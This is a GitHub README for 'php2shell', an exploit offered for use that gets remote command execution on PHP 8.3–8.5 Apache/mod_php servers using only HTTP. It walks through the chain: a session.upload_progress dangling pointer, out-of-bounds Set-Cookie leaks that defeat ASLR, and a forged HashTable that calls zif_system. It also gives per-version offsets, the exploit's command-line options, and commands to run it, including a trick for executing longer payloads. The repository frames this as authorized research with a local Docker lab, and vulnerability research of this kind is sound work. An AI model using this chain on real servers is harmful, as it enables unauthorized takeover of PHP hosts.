Remote, HTTP-only RCE on PHP 8.4.26 + Apache prefork + mod_php — ASLR bypassed, no session_start(), no file written on the target.
English | 中文
A single exploit.py turns a dangling pointer left behind by session.upload_progress into full
command execution on an unmodified php:8.4.26-apache container. Every byte of attack traffic is an
ordinary multipart/form-data POST; the target web root is literally <?php echo "OK\n"; ?>. The
chain leaks the Zend MM chunk base and the libphp.so base over two Set-Cookie out-of-bounds reads,
then forges a HashTable whose destructor is zif_system:
$ python3 exploit.py -u http://127.0.0.1:8088/index.php
[+] chunk base = 0x7f3f73600000
[+] libphp base = 0x7f3f752a5000
PROOF: uid=33(www-data) gid=33(www-data) groups=33(www-data)Warning
Authorized research only. This is a reproduction of public vulnerability research, intended for use against the self-contained Docker lab in this repository or systems you are explicitly authorized to test. Running it against machines you do not own or operate is illegal. You are responsible for your own use.
- Highlights
- Requirements
- Quick start
- Reproduction status
- How it works
- Offsets & profiles
- Running arbitrary commands
- Command-line options
- Target configuration
- Repository layout
- Documentation
- Limitations
- Credits
- License
- One command, full chain.
exploit.pyperforms worker rotation, the two-stage leak,zif_systemexecution and proof retrieval, with per-stage retries. - Pure HTTP. No
session_start()on the target page, no PHP written on the target side, no local signals — onlymultipart/form-dataPOSTs. - ASLR bypassed. Two
Set-Cookieout-of-bounds reads recover the chunk andlibphpbases at runtime; the terminal stage callszif_systeminsidelibphpand never touches libc. - No target build. The environment is the official
php:8.4.26-apacheimage plus a handful of config mounts — there is nodocker build. - Multi-version. The same chain gets reliable RCE on the official 8.3, 8.4 and 8.5 images; the only version-sensitive value is a single chunk-relative offset, picked automatically on localhost.
- Self-calibrating offsets. Against a localhost container the libphp symbol offsets are read
straight from
libphp.so(and refreshed on every run, so switching images can't leave them stale), so an image refresh needs no manual edit.
| Tool | Version |
|---|---|
| Docker Engine / Desktop | any recent release |
| Docker Compose | v2 (docker compose) |
| Python | 3.9+ (standard library only) |
| Host architecture | linux/amd64 (the image is amd64; the offsets are x86-64) |
The block below goes from zero to RCE. Copy and run it as-is.
git clone https://github.com/3em0/php2shell.git
cd php2shell
# 1) Pull the official image (PHP 8.4.26 / Debian 13 / Apache prefork)
docker compose -f docker/docker-compose.yml pull
# 2) Start the target: single worker, display_errors=On, memory_limit=8M
docker compose -f docker/docker-compose.yml up -d
# 3) Wait for Apache and confirm a normal page
for i in $(seq 1 20); do
curl -fsS http://127.0.0.1:8088/index.php >/dev/null 2>&1 && break
sleep 0.5
done
curl -s http://127.0.0.1:8088/index.php # -> OK
# 4) One command completes the whole exploit; the first run reads libphp offsets automatically
python3 exploit.py -u http://127.0.0.1:8088/index.php
# PROOF: uid=33(www-data) gid=33(www-data) groups=33(www-data)The default command is id>/out/p1 (10 bytes). The container's /out is bind-mounted to the
repository's ./out, so the proof lands directly on the host. On the first run exploit.py invokes
docker/offsets.py, which parses zif_system / zval_ptr_dtor out of the
container's libphp.so and caches them in out/offsets.env.
Measured live on the official PHP -apache images (all Debian 13 trixie), linux/amd64, using
the shipped docker/ lab with PHP_IMAGE pointed at each version:
| PHP version | Profile | libphp offsets | Stage 1–2 leaks | Stage 3 RCE |
|---|---|---|---|---|
| 8.3.35 | official83 (auto on localhost) |
auto 0x3ac080 / 0x49ec50 |
reliable | ✅ 8 / 8 one-shot |
| 8.4.26 | official (default) |
auto 0x465370 / 0x65eb60 |
reliable | ✅ 3 / 3 one-shot |
| 8.5.11 | official (default) |
auto 0x5996e0 / 0x7b47a0 |
reliable | ✅ 6 / 6 one-shot |
The libphp symbol offsets are read from each image at runtime, so only the chunk-relative htdata
offset is version-specific: 0x690d8 for 8.4/8.5, 0x6a0d8 for 8.3. Point the lab at another version
with:
PHP_IMAGE=php:8.5-apache docker compose -f docker/docker-compose.yml up -d --force-recreate
python3 exploit.py -u http://127.0.0.1:8088/index.php # same command, offsets auto-adjustReproduce the whole table yourself with scripts/matrix.sh (each trial recreates
the container, so the count is an honest cold-start one-shot rate):
./scripts/matrix.sh -n 3 # default supported images
./scripts/matrix.sh -n 8 php:8.5-apacheThe vulnerable surface is session initialization triggered by session.upload_progress before
RINIT, combined with a dangling pointer that survives across requests after an out-of-memory
bailout. The entire attack is ordinary multipart HTTP.
| Stage | Action | Result |
|---|---|---|
| 0 | Worker rotation — a 3 MB live field + 12 MB OOM field, then a session-initializing request; the child aborts and prefork forks a fresh worker that inherits the same mappings. | Clean, predictable heap |
| 1 | Heap leak — 1001 fields trip max_input_vars (with display_errors=On → headers_sent=1); the final 12 MB field OOMs inside php_session_initialize(), leaving PS(http_session_vars) dangling; php_url_encode() over-reads Zend MM chunk pointers into Set-Cookie. |
Zend MM chunk base |
| 2 | libphp leak — a 56-byte HashTable page makes ZSTR_LEN(PS(id)) read nTableSize, exposing pDestructor = ZVAL_PTR_DTOR. |
libphp base |
| 3 | Command execution — a fake reference is pinned over PS(http_session_vars); its fake HashTable has pDestructor = zif_system. |
RCE |
The stage-3 destructor chain:
php_session_track_init()
zval_ptr_dtor(PS(http_session_vars))
zend_reference_destroy(R0)
zval_ptr_dtor(&ref->val) # IS_ARRAY_EX
zend_array_destroy(fake HT)
zend_hash_destroy(fake HT)
pDestructor(&bucket->val) # zif_system
Why it works, in short:
- No
session_start()needed — A/B session init happens in the multipart callbacks beforeRINIT(FILE_START → php_session_rfc1867_update;END → php_session_rfc1867_cleanup), independent of script content. - Why the pointer dangles — the OOM bailout inside
php_session_initialize()never clearsPS(http_session_vars)/PS(id); the next request'sphp_session_track_init()callszval_ptr_dtoron it. - Why reoccupation works — multipart field values are allocated as
zend_strings during parsing; the 56 B / 55 B / 167 B sizes line up exactly to cover the stale reference and carry the fake HashTable. - Why ASLR falls — the two out-of-bounds reads leak both bases; workers are swapped via pure-HTTP abort/fork while the address space is unchanged; the terminal stage avoids libc.
Full mechanism, gdb evidence and request calibration live in docs/.
All version-specific values are collected in a single typed Profile table in
exploit.py. zif_offset / dtor_offset are libphp.so symbol offsets and
htdata_offset is a Zend MM chunk-relative offset — all relative to a module/chunk base, so none of
them depend on ASLR. The stage* fields groom the heap and differ per build.
| Profile | Target build | zif_system |
ZVAL_PTR_DTOR |
htdata |
stage1 / stage2 |
|---|---|---|---|---|---|
official (default) |
official php:8.4/8.5-apache (Debian 13) |
0x465370 |
0x65eb60 |
0x690d8 |
n=841, t=406, v=16 |
official83 |
official php:8.3-apache (Debian 13) |
0x3ac080 |
0x49ec50 |
0x6a0d8 |
n=841, t=406, v=16 |
lab |
self-built (Apache 2.4.68, minimal PHP) | 0x43a870 |
0x613c50 |
0x6e0d8 |
n=892, t=443, v=1 |
Offset resolution precedence (highest first):
- CLI —
--zif-offset/--dtor-offset/--htdata-offset. - Offsets file —
out/offsets.env, written bydocker/offsets.pyfor a localhost container (libphp offsets only; refreshed on every localhost run so it can never go stale). - Profile defaults — the measured values in the table above.
Two conveniences make multi-version use zero-config:
- Version-aware
htdata. On a localhost container the exploit reads the PHP minor version and, on the default profile, automatically uses theofficial83htdatafor 8.3 — so the same command fits 8.3 / 8.4 / 8.5 with no flags. - Own libphp defaults per profile. Each profile carries its own correct libphp defaults, so it
also works against a remote target of that build out of the box, even when
docker/offsets.pycannot run (it only reaches a localhost container).
Switch profile with --profile official83 / --profile lab; disable auto-derivation with
--offsets-file '' --no-auto-offsets.
The command is embedded in a live 167-byte zend_string, so the hard limit is 14 bytes. For
anything longer, drop a script into the mounted directory and trigger it with a short shell command
(sh</out/c is 8 bytes):
printf 'id; uname -a > /out/p1\n' > out/c
python3 exploit.py -u http://127.0.0.1:8088/index.php -c 'sh</out/c'| Option | Default | Description |
|---|---|---|
-u, --url |
(required) | Target PHP page, e.g. http://127.0.0.1:8088/index.php |
-c, --cmd |
id>/out/p1 |
Command to execute (max 14 bytes) |
--profile |
official |
Build profile: official (8.4/8.5), official83 (8.3), or lab |
--proof-file |
out/p1 |
Local file read back after exploitation ('' disables) |
--fetch |
(off) | GET this path afterwards (for commands writing to the web root) |
--zif-offset / --dtor-offset / --htdata-offset |
(profile) | Override individual offsets |
--offsets-file |
out/offsets.env |
Offsets file to load ('' disables) |
--docker-container |
php2shell-target |
Container used to auto-derive offsets on localhost |
--no-auto-offsets |
(off) | Never run docker/offsets.py automatically |
--no-pre-rotate |
(off) | Skip the initial worker rotation |
--retries |
3 |
Attempts per leak stage (stage 3 uses retries + 2) |
-q, --quiet |
(off) | Suppress progress output |
The shipped lab mirrors the settings the chain depends on
(docker/php.ini, docker/apache.conf):
| Component | Value |
|---|---|
| PHP | 8.4.26 (NTS, mod_php) |
| Base OS | Debian 13 (trixie) |
| Apache MPM | prefork, single worker |
display_errors |
On |
memory_limit |
8M |
max_input_vars |
1000 |
session.use_cookies / use_strict_mode |
1 / 0 |
session.upload_progress.enabled |
On |
php2shell/
├── exploit.py # one-click exploit (worker rotation → leak → RCE)
├── docker/
│ ├── docker-compose.yml # official php:8.4.26-apache, single-worker prefork
│ ├── apache.conf # prefork: StartServers=MaxRequestWorkers=1
│ ├── php.ini # display_errors=On, memory_limit=8M, upload_progress
│ ├── offsets.py # parse zif_system / zval_ptr_dtor from libphp.so
│ └── www/index.php # the entire target: <?php echo "OK\n"; ?>
├── out/ # proof files and out/offsets.env land here
├── scripts/matrix.sh # run the exploit across PHP versions, report reliability
└── docs/ # mechanism write-ups and gdb evidence
- The current RCE requires
display_errors=1,memory_limit=8M,max_input_vars=1000,session.use_cookies=1,session.use_strict_mode=0and single-worker prefork. - Reliable RCE is verified on PHP 8.3 / 8.4 / 8.5 (official
-apacheimages,linux/amd64). Other point releases of the same minor are expected to work (libphp offsets auto-derive), but are not individually tested. - PHP 8.1 / 8.2 are not affected by this chain. On
php:8.1-apacheandphp:8.2-apachethe stage-1Set-Cookieover-read never engages —Breturns a clean 32-byte session id regardless of the forged-zend_stringfield size (swept 55–167 B) — so the chain recovers no leak and stops before stage 2. The primitive is effective on PHP 8.3 – 8.5 (tested); the boundary sits at 8.3, and 8.1/8.2 would need a different stage-1 primitive, if one exists on those versions. - A pure-HTTP heap leak works with
display_errors=0; the complete RCE for that configuration is not included here (see docs/DISPLAY_ERRORS_OFF.md). - The offsets are x86-64; a different architecture or a rebuilt
libphp.soshifts them (usedocker/offsets.pyor the--*-offsetflags).
Original vulnerability research and proof of concept by
@9bie. This repository reproduces that work
in a self-contained Docker lab, restructures the per-profile offsets into one typed table, extends the
chain to reliable RCE on PHP 8.3 / 8.4 / 8.5 with runtime offset auto-derivation and version-aware
htdata selection, and fixes the out/ permission handling so the official-image flow calibrates
cleanly from a cold start.
Released under the MIT License. Provided for authorized security research and education only.
